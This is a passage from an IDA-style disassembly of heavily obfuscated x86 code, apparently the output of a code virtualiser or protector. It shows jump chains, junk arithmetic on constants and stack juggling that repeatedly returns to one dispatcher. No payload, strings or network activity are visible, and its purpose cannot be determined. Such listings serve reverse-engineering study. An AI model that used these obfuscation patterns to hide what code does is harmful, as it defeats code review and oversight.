ecx jmp loc_5823DF ; --------------------------------------------------------------------------- loc_5888A1: ; CODE XREF: sub_57DD3A+66DAj add edi, esi pop esi sub edi, 4 xchg edi, [esp+0BEh+var_C0+2] pop esp jmp loc_581CFE ; --------------------------------------------------------------------------- loc_5888B3: ; CODE XREF: sub_57DD3A+100F7j push esp jmp loc_586221 ; --------------------------------------------------------------------------- loc_5888B9: ; CODE XREF: sub_57DD3A+9FA4j add edx, ebp jmp loc_589094 ; --------------------------------------------------------------------------- loc_5888C0: ; CODE XREF: sub_57DD3A+A544j sub esp, 4 mov [esp+90h+var_90], edi mov edi, 6AC50346h xor ebx, edi pop edi mov ecx, ebx pop ebx jmp loc_586489 ; --------------------------------------------------------------------------- loc_5888D9: ; CODE XREF: sub_57DD3A+951Aj push ebx mov bh, 94h push edx jmp loc_582907 ; --------------------------------------------------------------------------- loc_5888E2: ; CODE XREF: sub_57DD3A+67ADj push esi jmp loc_5898A6 ; --------------------------------------------------------------------------- loc_5888E8: ; CODE XREF: sub_57DD3A+A945j xor ebp, edi pop edi xor ebp, 40829211h sub ebx, 5B855386h add ebx, ebp add ebx, 5B855386h pop ebp and eax, ebx pop ebx shr eax, 12h xor eax, ecx push eax sub esp, 4 mov [esp+58h+var_58], ebx mov eax, [esp+58h+var_58] add esp, 4 push [esp+54h+var_54] pop ebx add esp, 4 push 1FD0h mov [esp+54h+var_54], ebx xchg ebx, [esp+54h+var_54] jmp loc_581EF9 ; --------------------------------------------------------------------------- loc_588932: ; CODE XREF: sub_57DD3A+E758j push edi mov edi, 0 sub edi, ebp jmp loc_582528 ; --------------------------------------------------------------------------- loc_58893F: ; CODE XREF: sub_57DD3A+8645j push ebx mov ebx, 7A321ACAh xchg esi, ebx jmp loc_5876A0 ; --------------------------------------------------------------------------- loc_58894C: ; CODE XREF: sub_57DD3A+A62Bj pop ecx neg bl jmp loc_588054 ; --------------------------------------------------------------------------- loc_588954: ; CODE XREF: sub_57DD3A+C788j or ecx, 43186D3Bh xor ecx, 4C606E2Ah sub ecx, 0F6668575h sub ebx, ecx pop ecx push esi jmp loc_585EEC ; --------------------------------------------------------------------------- loc_58896F: ; CODE XREF: sub_57DD3A+8E88j push small word ptr [eax] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588977: ; CODE XREF: sub_57DD3A+8AE6j xor bl, dh pop edx mov ah, bl pop ebx add bl, 0B2h sub bl, ah jmp loc_584EC4 ; --------------------------------------------------------------------------- loc_588987: ; CODE XREF: sub_57DD3A+9C9Cj xchg edi, [esp+80h+var_80] mov esp, [esp+80h+var_80] idiv ecx push 4ACCh mov [esp+84h+var_84], edx jmp loc_582B38 ; --------------------------------------------------------------------------- loc_58899C: ; CODE XREF: sub_57DD3A+5541j push 40CCh mov [esp+5Ah+var_5C+2], ebx mov ebx, 4 add [esp+5Ah+var_58+2], ebx jmp loc_58208C ; --------------------------------------------------------------------------- loc_5889B2: ; CODE XREF: sub_57DD3A+A341j mov eax, ecx pop ecx sub eax, 732F4845h and eax, 385C51ACh jmp loc_581BD9 ; --------------------------------------------------------------------------- loc_5889C4: ; CODE XREF: sub_57DD3A+AF28j push 0 sub [esp+92h+var_94+2], ebx pop ebx push ebp mov ebp, 4D2F77E4h sub esp, 4 mov [esp+96h+var_98+2], edi jmp loc_58867A ; --------------------------------------------------------------------------- loc_5889E1: ; CODE XREF: sub_57DD3A+DB02j add ebp, 2 xchg ebp, [esp+96h+var_98+2] pop esp push 3DCDh jmp loc_5886EE ; --------------------------------------------------------------------------- loc_5889F5: ; CODE XREF: sub_57DD3A+975Cj mov bh, dl pop edx sub al, bh pop bx xor bl, al push eax mov eax, 22616A88h jmp loc_589BD2 ; --------------------------------------------------------------------------- loc_588A09: ; CODE XREF: sub_57DD3A+5A13j or ebp, 69C020B5h not ebp xor ebp, 89C262B3h jmp loc_5836F6 ; --------------------------------------------------------------------------- loc_588A1C: ; CODE XREF: sub_57DD3A+ECA1j pop ebx jmp loc_5859F9 ; --------------------------------------------------------------------------- loc_588A22: ; CODE XREF: sub_57DD3A+556Aj mov edi, 4 jmp loc_583DEE ; --------------------------------------------------------------------------- loc_588A2C: ; CODE XREF: sub_57DD3A+C9E3j pop ebp jmp loc_588D5B ; --------------------------------------------------------------------------- loc_588A32: ; CODE XREF: sub_57DD3A+B6BEj mov edi, 6B1512A3h add ebp, edi mov edi, [esp+5Ah+var_5C+2] add esp, 4 shr ebp, 2 shl ebp, 1 push ecx mov ecx, 0 jmp loc_5843BA ; --------------------------------------------------------------------------- loc_588A52: ; CODE XREF: sub_57DD3A+B5F5j sub eax, 7C361E58h jmp loc_58BD60 ; --------------------------------------------------------------------------- loc_588A5C: ; CODE XREF: sub_57DD3A+9054j xchg edi, [esp+0DCh+var_DC] pop esp push esi jmp loc_583462 ; --------------------------------------------------------------------------- loc_588A66: ; CODE XREF: sub_57DD3A+457Bj sub ebp, edx jmp loc_588CD8 ; --------------------------------------------------------------------------- loc_588A6D: ; CODE XREF: sub_57DD3A+78BAj pop edi xchg edx, [esp+0BEh+var_C0+2] jmp loc_587EDE ; --------------------------------------------------------------------------- loc_588A76: ; CODE XREF: sub_57DD3A+5213j mov eax, 6E4077Bh mov edx, eax mov eax, [esp+88h+var_88] push 6A6Bh mov [esp+8Ch+var_8C], eax jmp loc_5858A7 ; --------------------------------------------------------------------------- loc_588A8D: ; CODE XREF: sub_57DD3A+5917j add esp, 4 sub edx, 4 push edx push [esp+0A4h+var_A0] pop edx jmp loc_5896F6 ; --------------------------------------------------------------------------- loc_588A9E: ; CODE XREF: sub_57DD3A+7AF8j push edi mov edi, esp add edi, 4 jmp loc_58B7A9 ; --------------------------------------------------------------------------- loc_588AAC: ; CODE XREF: sub_57DD3A+50EEj sub esp, 4 mov [esp+80h+var_80], ecx mov ecx, 5EAD208Eh or edx, ecx pop ecx add edx, 55CE433Ch sub edx, 0D58BC03Bh push edx add [esp+80h+var_80], 6CAD0CB2h mov eax, [esp+80h+var_80] add esp, 4 sub eax, 6CAD0CB2h pop edx jmp loc_587BA8 ; --------------------------------------------------------------------------- loc_588AE5: ; CODE XREF: sub_57DD3A+6F69j mov edi, 1C395A1Eh jmp loc_581C6B ; --------------------------------------------------------------------------- loc_588AEF: ; CODE XREF: sub_57DD3A+B9A9j pop esp jmp loc_58A1B5 ; --------------------------------------------------------------------------- loc_588AF5: ; CODE XREF: sub_57DD3A+C8BBj sub esp, 4 jmp loc_589E7A ; --------------------------------------------------------------------------- loc_588B00: ; CODE XREF: sub_57DD3A+8684j pop edi xchg esi, [esp+60h+var_60] pop esp dec word ptr [esp+5Ch+var_5C] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588B0F: ; CODE XREF: sub_57DD3A+7FD2j push esi jmp loc_584E00 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+6Ah+var_6C+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588B25: ; CODE XREF: sub_57DD3A+7C85j mov word ptr [esp+68h+var_68], cx movzx cx, al push cx pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588B35: ; CODE XREF: sub_57DD3A+DEFCj add esp, 4 push 72DAh mov [esp+6Eh+var_70+2], ebp sub esp, 4 mov [esp+72h+var_74+2], eax mov eax, 583A5ED9h dec eax push ebx mov ebx, 17812CAEh sub eax, ebx mov ebx, [esp+76h+var_78+2] add esp, 4 jmp loc_58389C ; --------------------------------------------------------------------------- loc_588B65: ; CODE XREF: sub_57DD3A+4EFBj add ecx, 1D051A09h add ecx, 49176985h jmp loc_5827BD ; --------------------------------------------------------------------------- loc_588B76: ; CODE XREF: sub_57DD3A+8427j sub eax, 29076176h sub eax, ebx push ecx mov ecx, 29076176h jmp loc_5856A5 ; --------------------------------------------------------------------------- loc_588B88: ; CODE XREF: sub_57DD3A+3EC5j push ebx push edi mov edi, 2D735B2Dh mov ebx, 0D28CA4D5h add ebx, 67432E88h add ebx, edi jmp loc_582073 ; --------------------------------------------------------------------------- loc_588BA1: ; CODE XREF: sub_57DD3A+6317j neg esi shl esi, 5 push 2893h mov [esp+0C0h+var_C0], esi inc [esp+0C0h+var_C0] jmp loc_582A0B ; --------------------------------------------------------------------------- loc_588BB6: ; CODE XREF: sub_57DD3A+47D1j add ecx, 4 push ebp mov ebp, 0FDB0A62h dec ebp dec ebp add ebp, 0F024F5A4h jmp loc_584E92 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0AEh+var_B0+2] push esi mov esi, esp jmp loc_58B664 ; --------------------------------------------------------------------------- loc_588BDB: ; CODE XREF: sub_57DD3A+9EC3j push 4EDh mov [esp+92h+var_94+2], esi sub esp, 4 jmp loc_58A015 ; --------------------------------------------------------------------------- loc_588BEE: ; CODE XREF: sub_57DD3A+C184j neg ecx jmp loc_58D6D3 ; --------------------------------------------------------------------------- loc_588BF5: ; CODE XREF: sub_57DD3A+ED6Ej add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 6B0Dh mov [esp+96h+var_98+2], eax push ecx jmp loc_58D8B6 ; --------------------------------------------------------------------------- loc_588C10: ; CODE XREF: sub_57DD3A+58F7j push small 23F2h mov word ptr [esp+0AAh+var_AC+2], cx mov cx, 341Fh sub ax, 4E5Eh sub ax, cx add ax, 4E5Eh pop cx add ax, 7D0Bh add ax, bx jmp loc_581D80 ; --------------------------------------------------------------------------- loc_588C35: ; CODE XREF: sub_57DD3A+F0D7j push [esp+0A8h+var_A8] pop ecx push ebx jmp loc_5862C4 ; --------------------------------------------------------------------------- loc_588C3F: ; CODE XREF: sub_57DD3A+9A89j add ebp, 4 xor ebp, [esp+70h+var_70] xor [esp+70h+var_70], ebp jmp loc_58DBA0 ; --------------------------------------------------------------------------- loc_588C50: ; CODE XREF: sub_57DD3A+BDA3j sub esp, 4 jmp loc_58CC97 ; --------------------------------------------------------------------------- loc_588C5B: ; CODE XREF: sub_57DD3A+A3AAj mov ebx, 39A34AE6h shr ebx, 1 jmp loc_5889C4 ; --------------------------------------------------------------------------- loc_588C67: ; CODE XREF: sub_57DD3A+51B7j pop esi sub edi, 1DAF0139h shl edi, 4 jmp loc_588508 ; --------------------------------------------------------------------------- loc_588C76: ; CODE XREF: sub_57DD3A+70B5j mov esi, 13DF27C8h and esi, 6D3111EEh sub esi, 0FDE299D1h push ecx mov ecx, esi mov [edi+20h], ecx pop ecx pop esi shr dword ptr [edi+20h], 2 jmp loc_58203B ; --------------------------------------------------------------------------- loc_588C98: ; CODE XREF: sub_57DD3A+9FFBj add edx, eax pop eax add edx, 2 push 78E8h mov [esp+74h+var_74], edx push [esp+74h+var_70] push [esp+78h+var_78] pop edx add esp, 4 pop [esp+74h+var_74] mov esp, [esp+70h+var_70] movsx cx, al sub esp, 4 mov [esp+74h+var_74], ecx mov ecx, esp push esi jmp loc_58AA1D ; --------------------------------------------------------------------------- loc_588CCF: ; CODE XREF: sub_57DD3A+B647j sub byte ptr [esp+78h+var_78], al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588CD8: ; CODE XREF: sub_57DD3A+AD2Ej pop edx add edx, ebp pop ebp sub edx, 4 push edx push [esp+72h+var_70+2] mov edx, [esp+76h+var_78+2] add esp, 4 jmp loc_585EE0 ; --------------------------------------------------------------------------- loc_588CEF: ; CODE XREF: sub_57DD3A+7C5Fj add esp, 4 add edi, 2 jmp loc_5894CE ; --------------------------------------------------------------------------- loc_588CFA: ; CODE XREF: sub_57DD3A+6794j push ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588D02: ; CODE XREF: sub_57DD3A+720Cj xchg ebx, [esp+90h+var_90] pop esp xor ecx, [esp+8Ch+var_8C] jmp loc_58308F ; --------------------------------------------------------------------------- loc_588D0E: ; CODE XREF: sub_57DD3A+F30Fj sub ebx, esi add ebx, 9D7181Bh mov esi, [esp+8Ch+var_8C] add esp, 4 jmp loc_589FE2 ; --------------------------------------------------------------------------- loc_588D24: ; CODE XREF: sub_57DD3A+80EFj pop esi sub ebp, edx mov edx, [esp+62h+var_64+2] jmp loc_585722 ; --------------------------------------------------------------------------- loc_588D2F: ; CODE XREF: sub_57DD3A+FBFFj mov [esp+62h+var_64+2], ebx jmp loc_58D1C5 ; --------------------------------------------------------------------------- loc_588D37: ; CODE XREF: sub_57DD3A+EA2Aj mov esp, [esp+62h+var_64+2] push ebp mov ebp, esp jmp loc_585E87 ; --------------------------------------------------------------------------- loc_588D42: ; CODE XREF: sub_57DD3A+FA34j shl ebp, 2 xor ebp, 622A4A94h sub ebp, 54FBE085h mov edx, ebp pop ebp add edx, ebp jmp loc_5852C0 ; --------------------------------------------------------------------------- loc_588D5B: ; CODE XREF: sub_57DD3A+ACF3j add ebp, ecx pop ecx xor ebp, 5AF25C8Ch xchg edi, ebp neg edi jmp loc_589518 ; --------------------------------------------------------------------------- loc_588D6D: ; CODE XREF: sub_57DD3A+F65Ej not edx xor edx, 0F19CB752h jmp loc_58C410 ; --------------------------------------------------------------------------- loc_588D7A: ; CODE XREF: sub_57DD3A+4F6Cj mov ebx, [esp+94h+var_94] add esp, 4 add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588D8B: ; CODE XREF: sub_57DD3A+C42Dj push esi mov esi, edx mov edi, esi pop esi pop edx jmp loc_58D60E ; --------------------------------------------------------------------------- loc_588D97: ; CODE XREF: sub_57DD3A+5512j add ebx, 69E239FFh jmp loc_585739 ; --------------------------------------------------------------------------- loc_588DA2: ; CODE XREF: sub_57DD3A+A222j add [esp+86h+var_88+2], 4 pop edi push edx mov edx, 67305F8Fh dec edx shl edx, 6 sub edx, 1B965144h add edx, 4F7E6DC8h jmp loc_589BAD ; --------------------------------------------------------------------------- loc_588DC2: ; CODE XREF: sub_57DD3A+CBF0j mov [esp+86h+var_88+2], esi push edi push 5E2E24DFh pop edi shl edi, 1 inc edi add edi, 308B235Fh add edi, 1318A2E2h jmp loc_58B48D ; --------------------------------------------------------------------------- loc_588DE0: ; CODE XREF: sub_57DD3A+EF8Cj mov [esp+8Ah+var_8C+2], esp add [esp+8Ah+var_8C+2], 4 mov edi, [esp+8Ah+var_8C+2] add esp, 4 push 0C2Ah mov [esp+8Ah+var_8C+2], esi mov esi, 4 add edi, esi mov esi, [esp+8Ah+var_8C+2] add esp, 4 jmp loc_58478B ; --------------------------------------------------------------------------- loc_588E0D: ; CODE XREF: sub_57DD3A+766Fj pop edx shr ch, 7 sub esp, 4 mov [esp+0C4h+var_C4], eax mov al, 0BEh jmp loc_5858C8 ; --------------------------------------------------------------------------- loc_588E1E: ; CODE XREF: sub_57DD3A+4B5Dj pop eax shl ebp, 5 jmp loc_58BEB1 ; --------------------------------------------------------------------------- loc_588E27: ; CODE XREF: sub_57DD3A+9797j pop edi add ebp, esi pop esi add ebp, 2 jmp loc_58B57B ; --------------------------------------------------------------------------- loc_588E33: ; CODE XREF: sub_57DD3A+5EF0j sub ecx, 18945C07h jmp loc_58D78D ; --------------------------------------------------------------------------- loc_588E3E: ; CODE XREF: sub_57DD3A+EF67j add [esp+7Eh+var_7C+2], eax jmp loc_588031 ; --------------------------------------------------------------------------- loc_588E47: ; CODE XREF: sub_57DD3A+7F2Dj xchg ebp, [esp+76h+var_78+2] pop esp add esi, ecx jmp loc_5878A2 ; --------------------------------------------------------------------------- loc_588E52: ; CODE XREF: sub_57DD3A+C5F7j push [esp+72h+var_74+2] pop esi jmp loc_58704C ; --------------------------------------------------------------------------- loc_588E5B: ; CODE XREF: sub_57DD3A+858Cj add ebx, 4 push ebp mov ebp, 50037B15h dec ebp shl ebp, 1 xor ebp, 84F2BF4h push ecx mov ecx, 38A26B5Dh jmp loc_58670B ; --------------------------------------------------------------------------- loc_588E7B: ; CODE XREF: sub_57DD3A+3E9Aj pop dx push 4CD7h mov [esp+76h+var_78+2], ecx jmp loc_5872BA ; --------------------------------------------------------------------------- loc_588E8A: ; CODE XREF: sub_57DD3A+CAF5j push cx jmp loc_5854C0 ; --------------------------------------------------------------------------- loc_588E91: ; CODE XREF: sub_57DD3A+B89Cj add al, dh jmp loc_58B1C5 ; --------------------------------------------------------------------------- loc_588E98: ; CODE XREF: sub_57DD3A+F760j xor eax, ebx push 7C96h mov [esp+7Ch+var_7C], esi jmp loc_585F1C ; --------------------------------------------------------------------------- loc_588EA7: ; CODE XREF: sub_57DD3A+D3D8j pop ecx jmp loc_584718 ; --------------------------------------------------------------------------- loc_588EAD: ; CODE XREF: sub_57DD3A+9AFFj pop ebx jmp loc_58902B ; --------------------------------------------------------------------------- loc_588EB3: ; CODE XREF: sub_57DD3A+D9EDj pop [esp+0E0h+var_E0] pop esp mov [esp+0D8h+var_D8], edi push 5E24D1A0h pop edi sub eax, 7C2733ACh sub eax, 794508E1h add eax, edi add eax, 794508E1h push ebx mov ebx, 7C2733ACh jmp loc_5896E8 ; --------------------------------------------------------------------------- loc_588EDC: ; CODE XREF: sub_57DD3A+6447j push edx mov edx, 53EA47FCh push ecx mov ecx, 7EA405E0h and ecx, 242369BAh and ecx, 7683687Eh and ecx, 28050D65h jmp loc_58363E ; --------------------------------------------------------------------------- loc_588EFF: ; CODE XREF: sub_57DD3A+F71Cj add ebp, 99278C59h push eax mov eax, 2723231h jmp loc_58A2FB ; --------------------------------------------------------------------------- loc_588F10: ; CODE XREF: sub_57DD3A+B829j xor edx, 378A2072h sub ebp, 3D4805A1h jmp loc_588576 ; --------------------------------------------------------------------------- loc_588F21: ; CODE XREF: sub_57DD3A+5B0Ej mov ebx, 4372F47h not ebx xor ebx, 74D92E6Ah shr ebx, 6 and ebx, 643525A8h sub ebx, 0E8AA8A28h jmp loc_583BF8 ; --------------------------------------------------------------------------- push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 sub ebx, eax pop eax push ebx push [esp+0C0h+var_BC] pop ebx pop [esp+0C0h+var_C0] pop esp mov [esp+0B8h+var_B8], eax mov eax, esp jmp loc_58A204 ; --------------------------------------------------------------------------- loc_588F68: ; CODE XREF: sub_57DD3A+63D4j mov eax, [esp+84h+var_84] jmp loc_585D11 ; --------------------------------------------------------------------------- loc_588F70: ; CODE XREF: sub_57DD3A+FF56j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588F75: ; CODE XREF: sub_57DD3A+806Dj mov eax, 4 add ebx, eax pop eax jmp loc_58CA11 ; --------------------------------------------------------------------------- loc_588F82: ; CODE XREF: sub_57DD3A+639Ej mov edi, 1B540F6Ah or edi, 14BC5CFAh or edi, 0C075777h shl edi, 1 add edi, 0F7859927h or edx, edi jmp loc_58372A ; --------------------------------------------------------------------------- loc_588FA2: ; CODE XREF: sub_57DD3A+D291j pop esp jmp loc_583365 ; --------------------------------------------------------------------------- loc_588FA8: ; CODE XREF: sub_57DD3A+C89Fj push ebp push 2897h mov [esp+0B8h+var_B8], esp jmp loc_58CB7E ; --------------------------------------------------------------------------- loc_588FB6: ; CODE XREF: sub_57DD3A+43F5j add esp, 4 add esp, 4 pop edx jmp loc_5884DE ; --------------------------------------------------------------------------- loc_588FC8: ; CODE XREF: sub_57DD3A+E172j pop eax jmp loc_58D367 ; --------------------------------------------------------------------------- loc_588FCE: ; CODE XREF: sub_57DD3A+F8CFj mov esi, ebx pop ebx sub ecx, esi pop esi sub ecx, ebp jmp loc_58223D ; --------------------------------------------------------------------------- loc_588FDB: ; CODE XREF: sub_57DD3A+A0E3j pop [esp+62h+var_64+2] jmp loc_58A7D6 ; --------------------------------------------------------------------------- loc_588FE3: ; CODE XREF: sub_57DD3A+C970j push esp pop ebx add ebx, 4 push edi mov edi, 23B71B5Ch add edi, 19396E79h push esi mov esi, 65FA57EFh or edi, esi jmp loc_588407 ; --------------------------------------------------------------------------- loc_589004: ; CODE XREF: sub_57DD3A+58FFj xchg edi, [esp+0A4h+var_A4] pop esp mov dh, 80h xor dh, cl mov ecx, [esp+0A0h+var_A0] add esp, 4 add al, 0E7h add al, dh sub al, 0E7h mov edx, [esp+9Ch+var_9C] add esp, 4 push edx push ecx jmp loc_58A46F ; --------------------------------------------------------------------------- loc_58902B: ; CODE XREF: sub_57DD3A+B174j add ebx, 4 push ecx mov ecx, 4 jmp loc_58492D ; --------------------------------------------------------------------------- loc_58903C: ; CODE XREF: sub_57DD3A+E373j push eax push ebp mov ebp, 41FC3566h push ecx mov ecx, 5DD229AAh push 4ACBh mov [esp+0F4h+var_F4], edx mov edx, 3B2062FAh and edx, 27691D00h xor edx, 53F411D9h jmp loc_58BDFF ; --------------------------------------------------------------------------- loc_589067: ; CODE XREF: sub_57DD3A+62AEj pop edi add edx, esi sub edx, 3AD90F4Eh jmp loc_583948 ; --------------------------------------------------------------------------- loc_589075: ; CODE XREF: sub_57DD3A+A3A1j pop ebp add edi, 4 xchg edi, [esp+0B0h+var_B0] jmp loc_58631B ; --------------------------------------------------------------------------- loc_589081: ; CODE XREF: sub_57DD3A+6E2Dj pop ebp pop ecx mov [edi+20h], ebx push [esp+78h+var_78] jmp loc_5847E5 ; --------------------------------------------------------------------------- loc_58908E: ; CODE XREF: sub_57DD3A+5003j pop eax jmp loc_586BB6 ; --------------------------------------------------------------------------- loc_589094: ; CODE XREF: sub_57DD3A+AB81j sub edx, 0C677A8h jmp loc_585B53 ; --------------------------------------------------------------------------- loc_58909F: ; CODE XREF: sub_57DD3A+4E83j push ebp jmp loc_58B00E ; --------------------------------------------------------------------------- loc_5890A5: ; CODE XREF: sub_57DD3A+BE06j mov [esp+54h+var_54], ebp mov ebp, 303C56FDh add [esp+0Ch], ebp pop ebp mov esi, [esp+50h+var_50] add esp, 4 add [esp+4], eax sub dword ptr [esp+4], 0DED4D47h pop eax jmp loc_58A3E6 ; --------------------------------------------------------------------------- loc_5890CD: ; CODE XREF: sub_57DD3A+B84Aj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5890D2: ; CODE XREF: sub_57DD3A+C896j and ebx, 3A2D1A6Ch sub ebx, 18081A5Ch add esi, ebx pop ebx xchg esi, [esp+44h+var_46+2] jmp loc_58A8CF ; --------------------------------------------------------------------------- loc_5890E9: ; CODE XREF: sub_57DD3A+A2A0j mov edi, esp add edi, 4 sub esp, 4 mov [esp+0D0h+var_D0], edx mov edx, 4ACE6AB3h push esi jmp loc_587540 ; --------------------------------------------------------------------------- loc_589102: ; CODE XREF: sub_57DD3A+D394j mov esi, 0CC113624h xor edi, esi pop esi mov ebp, edi mov edi, [esp+0D0h+var_D0] add esp, 4 jmp loc_589A3B ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0CCh+var_CC] push 12ABh mov [esp+0D0h+var_D0], eax mov eax, esp sub esp, 4 mov [esp+0D4h+var_D4], ecx jmp loc_588168 ; --------------------------------------------------------------------------- loc_589133: ; CODE XREF: sub_57DD3A+6EB7j pop ecx push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+86h+var_88+2] mov esp, [esp+86h+var_88+2] pop dword ptr [eax] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589150: ; CODE XREF: sub_57DD3A+FEBAj mov esp, [esp+82h+var_84+2] push edx sub esp, 4 mov [esp+8Ah+var_8C+2], esp add [esp+8Ah+var_8C+2], 4 jmp loc_58763F ; --------------------------------------------------------------------------- loc_589166: ; CODE XREF: sub_57DD3A+6EE4j xor esi, [esp+62h+var_64+2] mov esp, [esp+62h+var_64+2] jmp loc_58CFF2 ; --------------------------------------------------------------------------- loc_589171: ; CODE XREF: sub_57DD3A+8E22j mov esi, 40092011h add ebx, esi jmp loc_58B78C ; --------------------------------------------------------------------------- loc_58917D: ; CODE XREF: sub_57DD3A+689Cj sub ch, al jmp loc_58BAC8 ; --------------------------------------------------------------------------- loc_589184: ; CODE XREF: sub_57DD3A+F4C4j mov dx, word ptr [esp+86h+var_88+2] add esp, 2 add al, dh jmp loc_58C47E ; --------------------------------------------------------------------------- loc_589192: ; CODE XREF: sub_57DD3A+6F8Cj mov edx, 5A2634A7h sub ebx, edx mov edx, [esp+90h+var_90] jmp loc_58708E ; --------------------------------------------------------------------------- loc_5891A1: ; CODE XREF: sub_57DD3A+BBC5j add eax, edi add eax, 2C5D4903h push [esp+90h+var_90] pop edi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+94h+var_94] mov esp, [esp+94h+var_94] push 7518h mov [esp+98h+var_98], edx push edi mov edi, 2B623BDEh push edi sub [esp+0A0h+var_A0], 74C638Ah pop edx add edx, 74C638Ah push [esp+9Ch+var_9C] jmp loc_58BD35 ; --------------------------------------------------------------------------- loc_5891E3: ; CODE XREF: sub_57DD3A+9ECBj add [esp+68h+var_64], edx pop edx pop ebx add ebx, 4 sub esp, 4 mov [esp+64h+var_64], ebp mov ebp, 47AB0277h jmp loc_58B174 ; --------------------------------------------------------------------------- loc_5891FF: ; CODE XREF: sub_57DD3A+84E2j sub ebp, 921539F9h add eax, ebp mov ebp, [esp+78h+var_78] push 3DCCh mov [esp+7Ch+var_7C], edi mov edi, esp add edi, 4 jmp loc_58712D ; --------------------------------------------------------------------------- loc_58921F: ; CODE XREF: sub_57DD3A+D5C5j push ebp mov ebp, 59D50AEAh sub ebp, 59D50AE6h sub esi, 7C636A1Dh jmp loc_58D3E8 ; --------------------------------------------------------------------------- loc_589236: ; CODE XREF: sub_57DD3A+D03Dj pop ecx push ax push 356Dh mov [esp+82h+var_84+2], edx jmp loc_584056 ; --------------------------------------------------------------------------- loc_589246: ; CODE XREF: sub_57DD3A+D10Ej push ebp mov ebp, 40B9286Ch sub ebp, 2DB062C1h sub ebp, 7B635888h jmp loc_58928E ; --------------------------------------------------------------------------- loc_58925D: ; CODE XREF: sub_57DD3A+F9BBj add eax, 4 add eax, 2 sub esp, 4 mov [esp+8Ah+var_8C+2], eax push [esp+8Ah+var_88+2] pop eax pop [esp+8Ah+var_8C+2] pop esp push small 1DD8h mov word ptr [esp+84h+var_84], dx push ecx jmp loc_58C1E1 ; --------------------------------------------------------------------------- loc_589285: ; CODE XREF: sub_57DD3A+895Ej xor edx, ecx xor ecx, edx jmp loc_589A4E ; --------------------------------------------------------------------------- loc_58928E: ; CODE XREF: sub_57DD3A+B51Ej or ebp, 0AA46AC1h xor ebp, 3D7B652Ah xor ebp, 606481A8h xor eax, ebp pop ebp mov ebx, eax mov eax, [esp+82h+var_84+2] add esp, 4 add edx, 7A0B4291h jmp loc_586B1C ; --------------------------------------------------------------------------- loc_5892B6: ; CODE XREF: sub_57DD3A+98C4j sub ch, 4Fh add al, ch pop ecx jmp loc_58D1B4 ; --------------------------------------------------------------------------- loc_5892C1: ; CODE XREF: sub_57DD3A+625Dj mov ebx, 4 add esi, ebx push [esp+0C0h+var_C0] mov ebx, [esp+0C4h+var_C4] add esp, 4 add esp, 4 add esi, 4 xchg esi, [esp+0BCh+var_BC] mov esp, [esp+0BCh+var_BC] shr eax, 0Ah xor eax, ecx xchg eax, ecx sub esp, 4 mov [esp+0C0h+var_C0], ecx xchg edi, [esp+0C0h+var_C0] not edi push edi push [esp+0C4h+var_C0] mov edi, [esp+0C8h+var_C8] add esp, 4 pop [esp+0C4h+var_C4] mov ecx, [esp+0C0h+var_C0] add esp, 4 push eax push 3BADh jmp loc_58BC29 ; --------------------------------------------------------------------------- loc_589310: ; CODE XREF: sub_57DD3A+DC15j push ebx mov bh, 43h neg bh sub bh, 2Eh sub ch, bh pop ebx add bl, ch pop ecx movzx eax, al push small 7AB8h jmp loc_58AB24 ; --------------------------------------------------------------------------- loc_58932A: ; CODE XREF: sub_57DD3A+536Ej sub eax, 0BD26722h jmp loc_588A52 ; --------------------------------------------------------------------------- loc_589334: ; CODE XREF: sub_57DD3A+C98Fj sub esi, eax pop eax add eax, esi mov esi, [esp+9Eh+var_A0+2] add esp, 4 xchg eax, [esp+9Ah+var_9C+2] mov esp, [esp+9Ah+var_9C+2] mov ax, word ptr [esp+9Ah+var_9C+2] push 7C8Ah jmp loc_582821 ; --------------------------------------------------------------------------- loc_589353: ; CODE XREF: sub_57DD3A+6F72j push ebp push esp mov ebp, [esp+94h+var_94] jmp loc_58A390 ; --------------------------------------------------------------------------- loc_58935D: ; CODE XREF: sub_57DD3A+450Aj add eax, ecx mov ecx, [esp+7Ah+var_7C+2] jmp loc_58B6A1 ; --------------------------------------------------------------------------- loc_589367: ; CODE XREF: sub_57DD3A+8140j push edx mov edx, 0DE75F78Ch sub esi, edx jmp loc_58BF37 ; --------------------------------------------------------------------------- loc_589374: ; CODE XREF: sub_57DD3A+3E7Bj mov ebp, [esp+76h+var_78+2] add esp, 4 xchg edi, [esp+72h+var_74+2] pop esp jmp loc_588CCF ; --------------------------------------------------------------------------- loc_589386: ; CODE XREF: sub_57DD3A+4988j mov [esp+7Eh+var_80+2], esi mov esi, 439947EAh sub ebp, 6AC826A6h sub ebp, 41844687h sub ebp, esi push eax mov eax, 72C97CCBh and eax, 595B7F92h shr eax, 2 dec eax jmp loc_586007 ; --------------------------------------------------------------------------- loc_5893B0: ; CODE XREF: sub_57DD3A+5F0Ej push ecx mov ecx, 4 add [esp+86h+var_84+2], ecx pop ecx push [esp+82h+var_84+2] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58508B ; --------------------------------------------------------------------------- loc_5893D0: ; CODE XREF: sub_57DD3A+6580j add edi, ecx pop ecx push ecx push edi jmp loc_584E72 ; --------------------------------------------------------------------------- push [esp+8Eh+var_90+2] push [esp+92h+var_94+2] pop eax push ebp jmp loc_583F75 ; --------------------------------------------------------------------------- neg [esp+96h+var_98+2] pushf jmp loc_585612 ; --------------------------------------------------------------------------- loc_5893F0: ; CODE XREF: sub_57DD3A+C63Dj push 0BCFh mov [esp+9Eh+var_A0+2], edi jmp loc_588A32 ; --------------------------------------------------------------------------- 